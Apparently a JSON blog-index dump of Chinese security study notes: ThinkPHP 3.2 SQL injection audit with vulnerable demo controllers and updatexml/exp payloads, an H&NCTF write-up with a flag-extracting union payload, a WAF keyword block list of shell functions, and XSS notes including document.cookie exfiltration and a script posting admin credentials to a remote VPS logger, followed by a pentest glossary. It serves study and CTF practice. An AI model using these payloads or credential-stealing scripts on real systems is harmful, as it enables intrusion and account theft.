//http://127.0.0.1/tp/index.php/模块名字/控制器名字/控制器方法/和模块同级的插件控制器名字/目录 //http://127.0.0.1/tp/index.php/Home/info/index/addon/SystemInfo phpinfo(); }}\n\nSQL注入常规注入where方法doc\n以字符串方式将条件作为where()方法的参数时会产生SQL注入\n//M('user'):实例化User对象M('user')->where('id='.I('id'))->find();\n\n提交payload\n" and 1=(updatexml(1,concat(0x3a,(user())),1))%23"\n\n如果是数组查询进入_parseType方法分析,数组的val值会被转成int\n\n进入./ThinkPHP/Library/Think/Model.class.php中调试\n\n\n数组条件\n\npublic function getUserarray(){ $User = M("User"); // 实例化User对象 $map['id'] = I('id');// 把查询条件传入查询方法 $User->where($map)->select();}\n\n//Model.class.php中protected function _parseType(&$data,$key) { if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){ $fieldType = strtolower($this->fields['_type'][$key]); if(false !== strpos($fieldType,'enum')){ // 支持ENUM类型优先检测 }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) { $data[$key] = intval($data[$key]); }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){ $data[$key] = floatval($data[$key]); }elseif(false !== strpos($fieldType,'bool')){ $data[$key] = (bool)$data[$key]; } }}\n\n强转成intval,1p被强转成1,无注入\ntable方法一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,用到table方法的场景就是切换数据表查询\nM()->table(I('tab'))->where('1=1')->find();\n\n究其原因是query方法\nfield方法field方法操作表中字段,限制查询返回的结果\nM('user')->field(array('id','username'))->select();\n\n只要field方法里的参数可控,不管是数组还是字符串,都是可以被注入的\nM('user')->field(array('id','username'=>I('name')))->select();\n\nalias、join、union方法alias方法操作表的别名,和field方法用法类似\n一般和join方法成对出现,用于对数据的连贯操作\n出现join和union方法的时候,只要能控制参数一般情况下都会产生注入\n\n\n小结:\n所有在表名之前的操作符或方法大多数都可以被注入\n\norder、group、having\norder方法\n\nM('user') ->where('1=1') ->order(array('id'=>I('orderby'))) ->select();\n\n\ngroup方法\n\n$data=M('user') ->find('max(score),username') ->group('score') ->select();dump($data);\n\n\nhaving方法\n\n$data=M('user') ->field('max(score,username') ->group('score') ->having('score>1') ->select();dump($data);\n\ncomment、index方法\ncomment\n\ncomment方法用于在生成的SQL语句中添加注释内容\n$data=M('user') ->comment(I('com')) ->where('1=1') ->find();dump($data);//payload: */ procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23\n\n\nindex\n\nindex方法用于数据集的强制索引操作,对查询强制使用userid索引,userid必须是数据表实际创建的索引名称\n//".\\ThinkPHP\\Library\\Think\\Db\\Driver.class.php"中内部方法名写为force,外部方法还是index,可在常量中看到//TP5.0版本中存在该漏洞(代码审计时重点关注一下)$data=M('user')->force(I('f'))->select();dump($data);//payload: ?f='userid') procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23\n\nquery、execute、聚合方法ThinkPHP仍然保留了原生的SQL查询和执行操作支持,为了满足复杂查询的需要和一些特殊的数据操作\n\nquery方法\n\n实例化一个空模型后使用query方法查询数据\n$data=M()->query('select * from thinkphp_user');dump($data);\n\n\nexecute方法\n\nexecute方法可以新增、修改、删除数据,同样也是需要实例化空模型\nM()->execute("update thinkphp_user set username='user' where id =1");\n\n\n聚合方法\n\ncount、max、min、avg、sum这5个方法注入场景类似\n$data=M('user')->count(I('parameter'));dump($data);\n\nEXP注入EXP表达式查询,支持SQL语法\nexp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新\n对于统计字段(通常指的是数字类型)的更新,系统还提供了setInc和setDec方法\n$user=M('user');$user->where('id=5')->setInc('score',3);//用户的积分加3$user->where('id=5')->setInc('score');//用户的积分加1$user->where('id=5')->setDec('score',5);//用户的积分减5$user->where('id=5')->setDec('score');//用户的积分减1\n\nAction参数注入审计的时候先查找I方法或者$_GET、$_POST等原生态的请求,从而容易忽略掉Action参数传入的变量\n\nThinkPHP5新增了INPUT函数\n\n如果带入到where方法里,表示以字符串的形式查询,也就造成了注入\npublic\\s+function\\s+[\\w_-]+\\(\\$\n\n组合注入组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string)、请求字符串查询()\n_string注入数组条件可以和字符串条件(采用_string作为查询条件)混合使用\n_query注入请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断\n$map['id'] = array('gt','100');$map['_query'] = 'status=1&score=100&_logic=or';\n\n\n代码此处附".\\Application\\Home\\Controller\\IndexController.class.php"和.\\Application\\Home\\Controller\\UserController.class.php源码\n//IndexController.class.php---<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index(){ //http://127.0.0.1/tp/index.php/home/index/index echo 'index!!!'; } public function hello(){ //http://127.0.0.1/tp/index.php/home/index/hello echo 'hello!!!'; } public function getDbUser(){ $data=M('user')->where('id=1')->select(); dump($data); } public function getUserIndexA(){ //http://127.0.0.1/tp/index.php/home/index/getUserIndexA $Test=A('User'); $Test->index(); } public function getUserHelloA(){ $hello=A('User'); $hello->hello(); } public function getUserIndexR(){ R('User/index'); } public function getUserHelloR(){ R('User/hello'); } public function getUser($id){ //http://127.0.0.1/tp/index.php/home/index/getUser/id/1 echo $id; } public function getUserI(){ //http://127.0.0.1/tp/index.php/home/index/getUserI/id/ $id=I('id','1','intval'); dump($id); } public function getUserWhere(){ //where方法 $data=M('user')->where('id='.I('id'))->find(); dump($data); } public function getUserArray(){ //用数组查询 $User = M("User"); // 实例化User对象 $map['id'] = I('id');// 把查询条件传入查询方法 $User->where($map)->select(); } public function getUserTable(){ //table方法 //创建一个空模型 M()->table(I('tab'))->where('1=1')->find(); } public function getUserField(){ //field方法 //'username'=>I('name')给username一个别名 echo "1"; M('user')->field(array('id','username'=>I('name')))->select(); } public function getUserOrder(){ //order方法 M('user')->where('1=1')->order(array('id'=>I('orderby')))->select(); } public function getUserGroup(){ //group方法 $data=M('user')->find('max(score),username')->group('score')->select(); dump($data); } public function getUserHaving(){ //having方法 $data=M('user') ->field('max(score,username') ->group('score') ->having('score>1') ->select(); dump($data); } public function getUserLimit(){ //limit方法 $data=M('user')->limit(I('limit'))->select(); dump($data); } public function getUserComment(){ //comment方法 $data=M('user')->comment(I('com'))->where('1=1')->find(); dump($data); //payload: */ procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23 } public function getUserIndex(){ //".\\ThinkPHP\\Library\\Think\\Db\\Driver.class.php"中内部方法名写为force,外部方法还是index,可在常量中看到 //TP5.0版本中存在该漏洞(代码审计时重点关注一下) $data=M('user')->force(I('f'))->select(); dump($data); //payload: ?f='userid') procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23 } public function getUserCount(){ //count方法 $data=M('user')->count(I('parameter')); dump($data); //payload: ?parameter=id) as tp_count FROM `thinkphp_user` where 1=1 and 1=(updatexml(1,concat(0x3a,user())),1)%23 } public function getUserEXP(){ $map=array(); $map['id']=$_GET['id']; $data=M('user')->where($map)->find(); dump($data); //payload: ?id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x3a,user())),1)%23 //当不用官方推荐的I方法获取外界输入的值时,就会产生安全问题 } public function getUserEXP2(){// $user=M('user');// $user->where('id=5')->setInc('score',3);//用户的积分加3// $user->where('id=5')->setInc('score');//用户的积分加1// $user->where('id=5')->setDec('score',5);//用户的积分减5// $user->where('id=5')->setDec('score');//用户的积分减1 $user=M('user'); $user->where('id=2')->setInc('score',I('num')); //payload: ?num=1 where (id=2) and 1=(updatexml(1,concat(0x3a,user())),1)%23 } public function getUserAction($id){ if (intval($id)>0){ $data=M('suer')->where('id='.$id)->select(); dump($data); } } public function getUserString(){ $user=M('user'); $map['id']=array('eq',1); $map['username']='ok'; $map['_string']='score='.I('score'); $user->where($map)->select(); //payload: ?score=0) and 1=(updatexml(1,concat(0x3a,user())),1)%23 }}?>\n\n//UserController.class.php---<?phpnamespace Home\\Controller;use Think\\Controller;class UserController extends Controller { public function index(){ echo 'User index!!!'; } public function hello(){ //http://127.0.0.1/tp/index.php/home/user/hello echo 'User hello!!!'; }}?>\n\n\nThinkPHP5详见05PHP个人博客\n\n实战:H&NCTF——ez_tpIndexController.class.php中源码:\n<?phpnamespace Home\\Controller;use Think\\Controller;class IndexController extends Controller { public function index(){ header("Content-type:text/html;charset=utf-8"); echo '装起来了'; } public function h_n(){ function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; //rewirte shell which uploaded by others, you can do more foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); //fix a bug $input = array( "Get" => $get, "Post" => $post, "Cookie" => $cookie, "File" => $files, "Header" => $header ); //deal with $pattern = "insert|update|delete|and|or|\\/\\*|\\*|\\.\\.\\/|\\.\\/|into|load_file|outfile|dumpfile|sub|hex"; $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert"; $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec"; $vpattern = explode("|", $pattern); $bool = false; foreach ($input as $k => $v) { foreach ($vpattern as $value) { foreach ($v as $kk => $vv) { if (preg_match("/$value/i", $vv)) { $bool = true; break; } } if ($bool) break; } if ($bool) break; } return $bool; } $name = I('GET.name'); $User = M("user"); if (waf()){ $this->index(); }else{ $ret = $User->field('username,age')->where(array('username'=>$name))->select(); echo var_export($ret, true); } }}\n\n\n\nWRITEUP\n\n在原版thinkphp3.2.3中,删除了think_filter过滤的exp,使得我们可以利用在ThinkPHP\\Library\\Think\\Db\\Driver.class.php中的\nif(is_array($val)) {\t... elseif('exp' == $exp ){ \t$whereStr .= $key.' '.$val[1]; } }\n\n利用exp时,需要手动添加等号,再配合union select,即可获得flag\npayload:\n/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag\n\n注意,cookie可能会匹配某些过滤,删除即可\n\n","tags":["summary"]},{"title":"09通用-XSS","url":"/2024/05/31/09%E9%80%9A%E7%94%A8-XSS/","content":"XSS在已有XSS知识上做的一些补充\n\n产生的地方\n\n\n数据交互的地方\nget、post、headers\n反馈与浏览\n富文本编辑器\n各类标签插入和自定义\n\n\n数据输出的地方\n用户资料\n关键词、标签、说明\n文件上传\n\n\n\n\n分类\n\n反射型(非持久型)\n存储型(持久型)\nDOM型\nmXSS(突变型XSS)\n\n简单来说就是本身被过滤成其他字符,但是在转发的时候重新识别转换回来了\n\n文章\nUXSS(通用型XSS)\n\n利用浏览器或者浏览器拓展漏洞来来制造产生XSS并执行代码的一种攻击类型\nCVE-2021-34506\nBV1FM4y1M7a8\n\nFlash XSS\n\nswf反编译:JPEXS Free Flash Decompiler\n可查询:ExternalInterface.call看哪里调用JS代码\n\nPDFXSS\n\nPDF编辑的时候插入动作,此时可以插入JavaScript脚本,写入恶意的XSS代码后,通过文件上传获取直链,访问后会触发\n上传到可信网站应用于钓鱼\n\nUTF-7 XSS\nMHTML XSS\nCSS XSS\nVBScript XSS\n获取Cookies:https://xss.pt/xss.php\n有一种可能:获取到的Cookies不全(比如httponly、存在session) \nkali上有beef-xss\n快速构建基于BeEF的钓鱼平台\n\n挖掘思路\n\n个人信息,留言板,评论等,多注意观察URL变化,XSS是很好防御的,加个过滤就好了\n\n补充\n\nxxx.html?参数=javascript:alert('1')\n\n以JavaScript代码执行\n<script> window.location.href='http://xxx'+document.cookie</script>\n\nwindow.location.href='':自动跳转到该网址\ndocument.cookie:获取Cookies\n<script> $('.laytable-cell-1-0-1').each(function(index,value){ if (value.innerHTML.indexOf('ctf'+'show')>-1) { window.location.href = 'http://xxx/get.php?c='+CSSMathValue.innerHTML; } });</script>\n\n\nctfshow329\n密码选项来源于laytable-cell-1-0-1这个标签\n\n针对于Cookies失效的问题,则不获取Cookies,在触发JS的时候直接得到想要的内容(利用JS获取当前页面源代码)\n<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>\n\n利用Ajax通过post传参\nXSS总结\n\nXSS后台植入Cookies&表单劫持\n\n条件:前期已取得权限\n代码中插入这段\n$up='<script src=http://远程vps地址/get.php?user='.$admin_name.'&pass='.$admin_pass.'></script>';echo $up;\n\n而远程vps的get.php中写入\n<?php $u=$_GET['user'];\t$p=$_GET['pass'];\t$myfile=fopen("newfile.txt","w+");\tfwrite($myfile,$u);\tfwrite($myfile,'|');\tfwrite($myfile,$p);\tfwrite($myfile,'\\n');\tfclose($myfile);?>\n\n达到权限维持\n\n制作自解压,然后利用XSS\n\n\n\n\n\n还可以使用Restorator修改图标,还有做免杀\n\n第2次执行这个压缩包时,前一次解压出来的木马已经存在,所以解压前运行木马文件可以正常上线\n\n\n绕过&防护\n\n\n过滤一些危险字符,转义&、<、>、"、'等危险字符\n自定义过滤函数引用\n\nHTTP-only Cookie\nphp设置httponly\nphp.ini设置或代码引用\nsession.cookie_httponly=1ini_set("session.cookie_httponly",1)\n\n设置CSP(Content Security Policy)\nhttp://t.csdnimg.cn/CBYJQ\nheader("Content-Security-Policy:img-src 'self' ");//只允许加载本地源图片\n\n输入内容长度限制、实体转义等\n\n\n","tags":["小迪"]}] \ No newline at end of file +[{"title":"02http数据包&抓包封包协议&资产架构&阻碍","url":"/2024/04/14/02http%E6%95%B0%E6%8D%AE%E5%8C%85-%E6%8A%93%E5%8C%85%E5%B0%81%E5%8C%85%E5%8D%8F%E8%AE%AE-%E8%B5%84%E4%BA%A7%E6%9E%B6%E6%9E%84-%E9%98%BB%E7%A2%8D/","content":"web请求返回过程数据包https://www.jianshu.com/p/558455228c43\nhttps://www.cnblogs.com/cherrycui/p/10815465.html\n抓包封包协议\n科来网络分析系统\n\nAPP&小程序&PC抓包HTTP/S数据→Charles&Fiddler&Burpsuite\n程序进程&网络接口&其他协议抓包→Wireshark&科来网络分析系统|tcpdump(Linux)\n通讯类应用封包分析发送接收→WPE四件套封包&科来网络分析系统\n\n工具相关证书安装:\n\n夜神模拟器安装Burp Suite证书\n模拟器上下载Fiddler证书\nCharles证书安装(手机模拟器)\n\n推个雷电/逍遥模拟器\nburpsuite抓不到vx小程序\n\n==存疑?==\n\n\n\n封包和抓包不同之处?\n零散整体的区别,封包能精确到每个操作的数据包\n\n资产架构&阻碍\n资产架构\n\nWEB单个源码指向安全\nWEB多个目录源码安全\nWEB多个端口源码安全\n服务器假设多个站点安全\n架设第三方插件接口安全\n服务器假设多个应用安全\n\n阻碍\n\n站库分离\nCDN加速服务\n\nCDN:内容分发网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决Internet网络拥挤的状况,提高用户访问网站的响应速度。\n\n负载均衡服务\nWAF应用防火墙\n主机防护防火墙\n","tags":["小迪"]},{"title":"01渗透测试前备知识","url":"/2024/04/14/01%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%89%8D%E5%A4%87%E7%9F%A5%E8%AF%86/","content":"作者:@11阳光本文为作者原创,转载请注明出处:https://www.cnblogs.com/sunny11/p/13583083.html#_label5\n前备知识\nPOC:全称’ProofofConcept’,中文’概念验证’,常指一段漏洞证明的代码。\n\nEXP:全称’Exploit’,中文’利用’,指利用系统漏洞进行攻击的动作。\n\nPayload:中文’有效载荷’,指成功exploit之后,真正在目标系统执行的代码或指令。\n\nShellcode:简单翻译’shell代码’,是Payload的一种,由于其建立正向/反向shell而得名。\n\n\n渗透测试中常用的linux命令\n常用的cmd命令\nPowershell攻击指南黑客后渗透之道系列——基础篇\nPowershell攻击指南黑客后渗透之道系列——进阶利用\nPowershell攻击指南黑客后渗透之道系列——实战篇\n\n防火墙:正向连接、反向连接:Windows、Linux自带的防火墙策略:监测入站严格,出站宽松。\n\n正向:主动出去连接别人,分角度\n明白以什么为基准\n一般以当前我们渗透的攻击主机为参照物\n\n\n\n一、攻击篇1.攻击工具肉鸡比喻那些可以被攻击者控制的电脑、手机、服务器或者其他摄像头、路由器等智能设备,用于发动网络攻击。\n僵尸网络僵尸网络Botnet是指采用一种或多种传播手段,将大量主机感染病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。\n木马就是那些表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统的整个控制权限。\n有很多黑客就是热衷使用木马程序来控制别人的电脑,比如灰鸽子、Gh0st、PcShare等等。\n网页木马表面上伪装成普通的网页或是将恶意代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马服务端植入到访问者的电脑上来自动执行将受影响的客户电脑变成肉鸡或纳入僵尸网络。\nRootkitRootkit是攻击者用来隐藏自己的行踪和保留root(根权限,可以理解成Windows下的system或者管理员权限)访问权限的工具。通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过对方系统存在的安全漏洞获得系统的root或system权限。然后,攻击者就会在对方的系统中安装Rootkit,以达到自己长久控制对方的目的,Rootkit功能上与木马和后门很类似,但远比它们要隐蔽。\n蠕虫病毒它是一类相对独立的恶意代码,利用了联网系统的开放性特点,通过可远程利用的漏洞自主地进行传播,受到控制终端会变成攻击的发起方,尝试感染更多的系统。蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。\n震网病毒又名Stuxnet病毒,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒,比如核电站,水坝,国家电网。作为世界上首个网络“超级破坏性武器”,Stuxnet的计算机病毒已经感染了全球超过45000个网络,其目标伊朗的铀浓缩设备遭到的攻击最为严重。\n勒索病毒主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。\n挖矿木马一种将PC、移动设备甚至服务器变为矿机的木马,通常由挖矿团伙植入,用于挖掘比特币从而赚取利益。\n嗅探器(Sniffer)就是能够捕获网络报文的设备或程序。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。\n恶意软件被设计来达到非授权控制计算机或窃取计算机数据等多种恶意行为的程序。\n间谍软件一种能够在用户不知情的情况下,在其电脑、手机上安装后门,具备收集用户信息、监听、偷拍等功能的软件。\n后门这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置,用于访问、查看或者控制这台主机。\n这些改动表面上是很难被察觉的,就好象是入侵者偷偷的配了一把主人房间的钥匙,或者在不起眼处修了一条暗道,可以方便自身随意进出。\n通常大多数木马程序都可以被入侵者用于创建后门(BackDoor)。\n弱口令指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码)。\n漏洞漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。奇安信集团董事长齐向东在《漏洞》一书中指出,软件的缺陷是漏洞的一个主要来源,缺陷是天生的,漏洞是不可避免的。\n远程命令执行漏洞由于系统设计实现上存在的漏洞,攻击者可能通过发送特定的请求或数据导致在受影响的系统上执行攻击者指定的任意命令。\n0day漏洞指那些已经被攻击者发现掌握并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞,这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。\n1day漏洞指漏洞信息已公开但仍未发布补丁的漏洞。此类漏洞的危害仍然较高,但往往官方会公布部分缓解措施,如关闭部分端口或者服务等。\nNday漏洞指已经发布官方补丁的漏洞。通常情况下,此类漏洞的防护只需更新补丁即可,但由于多种原因,导致往往存在大量设备漏洞补丁更新不及时,且漏洞利用方式已经在互联网公开,往往此类漏洞是黑客最常使用的漏洞。例如在永恒之蓝事件中,微软事先已经发布补丁,但仍有大量用户中招。\n2.攻击方法挂马就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里,以使浏览者中马。\n挖洞指漏洞挖掘。\n加壳就是利用特殊的算法,将EXE可执行程序或者DLL动态连接库文件的编码进行改变(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX,ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等。\n溢出简单的解释就是程序对输入数据没有执行有效的边界检测而导致错误,后果可能是造成程序崩溃或者是执行攻击者的命令。溢出大致分为两类:堆溢出和栈溢出\n缓冲区溢出攻击者向一个地址区输入这个区间存储不下的大量字符。在某些情况下,这些多余的字符可以作为“执行代码”来运行,因此足以使攻击者不受安全措施限制而获得计算机的控制权。\n注入Web安全头号大敌。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。注入漏洞通常能在SQL查询、LDAP查询、OS命令、程序参数等中出现。\nSQL注入注入攻击最常见的形式,主要是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询或其他操作,导致数据库信息泄露或非授权操作数据表。\n注入点即可以实行注入的地方,通常是一个涉及访问数据库的应用链接。根据注入点数据库的运行帐号的权限的不同,你所得到的权限也不同。\n软件脱壳顾名思义,就是利用相应的工具,把在软件“外面”起保护作用的“壳”程序去除,还文件本来面目,这样再修改文件内容或进行分析检测就容易多了。\n免杀就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀。\n花指令指几句汇编指令,让汇编语句进行一些跳转,使得杀毒软件不能正常地判断病毒文件的构造。通俗地说,就是杀毒软件是从头到脚按顺序来查找病毒,如果把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了。 \n暴力破解简称“爆破”。黑客对系统中账号的每一个可能的密码进行高度密集的自动搜索,从而破坏安全并获得对计算机的访问权限。\n洪水攻击是黑客比较常用的一种攻击技术,特点是实施简单,威力巨大,大多是无视防御的。从定义上说,攻击者对网络资源发送过量数据时就发生了洪水攻击,这个网络资源可以是router,switch,host,application等。洪水攻击将攻击流量比作成洪水,只要攻击流量足够大,就可以将防御手段打穿。DDoS攻击便是洪水攻击的一种。\nSYN攻击利用操作系统TCP协调设计上的问题执行的拒绝服务攻击,涉及TCP建立连接时三次握手的设计。\nDoS攻击拒绝服务攻击。攻击者通过利用漏洞或发送大量的请求导致攻击对象无法访问网络或者网站无法被访问。\nDDoS分布式DOS攻击,常见的UDP、SYN、反射放大攻击等等,就是通过许多台肉鸡一起向你发送一些网络请求信息,导致你的网络堵塞而不能正常上网。\n抓鸡即设法控制电脑,将其沦为肉鸡。\n端口扫描端口扫描是指发送一组端口扫描消息,通过它了解到从哪里可探寻到攻击弱点,并了解其提供的计算机网络服务类型,试图以此侵入某台计算机。\n花指令通过加入不影响程序功能的多余汇编指令,使得杀毒软件不能正常的判断病毒文件的构造。说通俗点就是“杀毒软件是从头到脚按顺序来识别病毒。如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了”。\n反弹端口有人发现,防火墙对于连入的连接往往会进行非常严格的过滤,但是对于连出的连接却疏于防范。于是,利用这一特性,反弹端口型软件的服务端(被控制端)会主动连接客户端(控制端),就给人“被控制端主动连接控制端的假象,让人麻痹大意。\n网络钓鱼攻击者利用欺骗性的电子邮件或伪造的Web站点等来进行网络诈骗活动。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌,骗取用户的私人信息或邮件账号口令。受骗者往往会泄露自己的邮箱、私人资料,如信用卡号、银行卡账户、身份证号等内容。\n鱼叉攻击鱼叉攻击是将用鱼叉捕鱼形象的引入到了网络攻击中,主要是指可以使欺骗性电子邮件看起来更加可信的网络钓鱼攻击,具有更高的成功可能性。不同于撒网式的网络钓鱼,鱼叉攻击往往更加具备针对性,攻击者往往“见鱼而使叉”。为了实现这一目标,攻击者将尝试在目标上收集尽可能多的信息。通常,组织内的特定个人存在某些安全漏洞。\n钓鲸攻击捕鲸是另一种进化形式的鱼叉式网络钓鱼。它指的是针对高级管理人员和组织内其他高级人员的网络钓鱼攻击。通过使电子邮件内容具有个性化并专门针对相关目标进行定制的攻击。\n水坑攻击顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”。\n嗅探嗅探指的是对局域网中的数据包进行截取及分析,从中获取有效信息。\nAPT攻击Advanced Persistent Threat,即高级可持续威胁攻击,指某组织在网络上对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。\nC2C2全称为Command and Control,命令与控制,常见于APT攻击场景中。作动词解释时理解为恶意软件与攻击者进行交互,作名词解释时理解为攻击者的“基础设施”。\n供应链攻击是黑客攻击目标机构的合作伙伴,并以该合作伙为跳板,达到渗透目标用户的目的。一种常见的表现形式为,用户对厂商产品的信任,在厂商产品下载安装或者更新时进行恶意软件植入进行攻击。所以,在某些软件下载平台下载的时候,若遭遇捆绑软件,就得小心了!\n社会工程学一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这就是社会工程学黑客技术。通俗而言是指利用人的社会学弱点实施网络攻击的一整套方法论,其攻击手法往往出乎人意料。世界第一黑客凯文·米特尼克在《反欺骗的艺术》中曾提到,人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金,最终导致数据泄露的原因,往往却是发生在人本身。\n拿站指得到一个网站的最高权限,即得到后台和管理员名字和密码。\n提权指得到你本没得到的权限,比如说电脑中非系统管理员就无法访问一些C盘的东西,而系统管理员就可以,通过一定的手段让普通用户提升成为管理员,让其拥有管理员的权限,这就叫提权。\n渗透就是通过扫描检测你的网络设备及系统有没有安全漏洞,有的话就可能被入侵,就像一滴水透过一块有漏洞的木板,渗透成功就是系统被入侵。\n横移指攻击者入侵后,从立足点在内部网络进行拓展,搜寻控制更多的系统。\n跳板一个具有辅助作用的机器,利用这个主机作为一个间接工具,来入侵其他主机,一般和肉鸡连用。\n黑页黑客攻击成功后,在网站上留下的黑客入侵成功的页面,用于炫耀攻击成果。\n暗链看不见的网站链接,“暗链”在网站中的链接做得非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高网站权重。\n拖库拖库本来是数据库领域的术语,指从数据库中导出数据。在网络攻击领域,它被用来指网站遭到入侵后,黑客窃取其数据库文件。\n撞库撞库是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。很多用户在不同网站使用的是相同的帐号密码,因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址,这就可以理解为撞库攻击。\n暴库入侵网站的一种手法,通过恶意代码让网站爆出其一些敏感数据来。\nCC攻击即Challenge Collapsar,名字来源于对抗国内安全厂商绿盟科技早期的抗拒绝服务产品黑洞,攻击者借助代理服务器生成指向受害主机的涉及大量占用系统资源的合法请求,耗尽目标的处理资源,达到拒绝服务的目的。\nWebshellWebshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做是一种网页后门,可以上传下载文件,查看数据库,执行任意程序命令等。\n跨站攻击通常简称为XSS,是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。\n中间人攻击中间人攻击是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而这台计算机就称为“中间人”。\n商业电子邮件攻击(BEC)也被称为“变脸诈骗”攻击,这是针对高层管理人员的攻击,攻击者通常冒充(盗用)决策者的邮件,来下达与资金、利益相关的指令;或者攻击者依赖社会工程学制作电子邮件,说服/诱导高管短时间进行经济交易。\n电信诈骗是指通过电话、网络和短信方式,编造虚假信息,设置骗局,对受害人实施远程、非接触式诈骗,诱使受害人打款或转账的犯罪行为,通常以冒充他人及仿冒、伪造各种合法外衣和形式的方式达到欺骗的目的。\n杀猪盘网络流行词,电信诈骗的一种,是一种网络交友诱导股票投资、赌博等类型的诈骗方式,“杀猪盘”则是“从业者们”自己起的名字,是指放长线“养猪”诈骗,养得越久,诈骗得越狠。\nARP攻击ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。基于ARP协议的这一工作特性,黑客向对方计算机不断发送有欺诈性质的ARP数据包,数据包内包含有与当前设备重复的Mac地址,使对方在回应报文时,由于简单的地址重复错误而导致不能进行正常的网络通信。\n欺骗攻击网络欺骗的技术主要有:HONEYPOT和分布式HONEYPOT、欺骗空间技术等。主要方式有:IP欺骗、A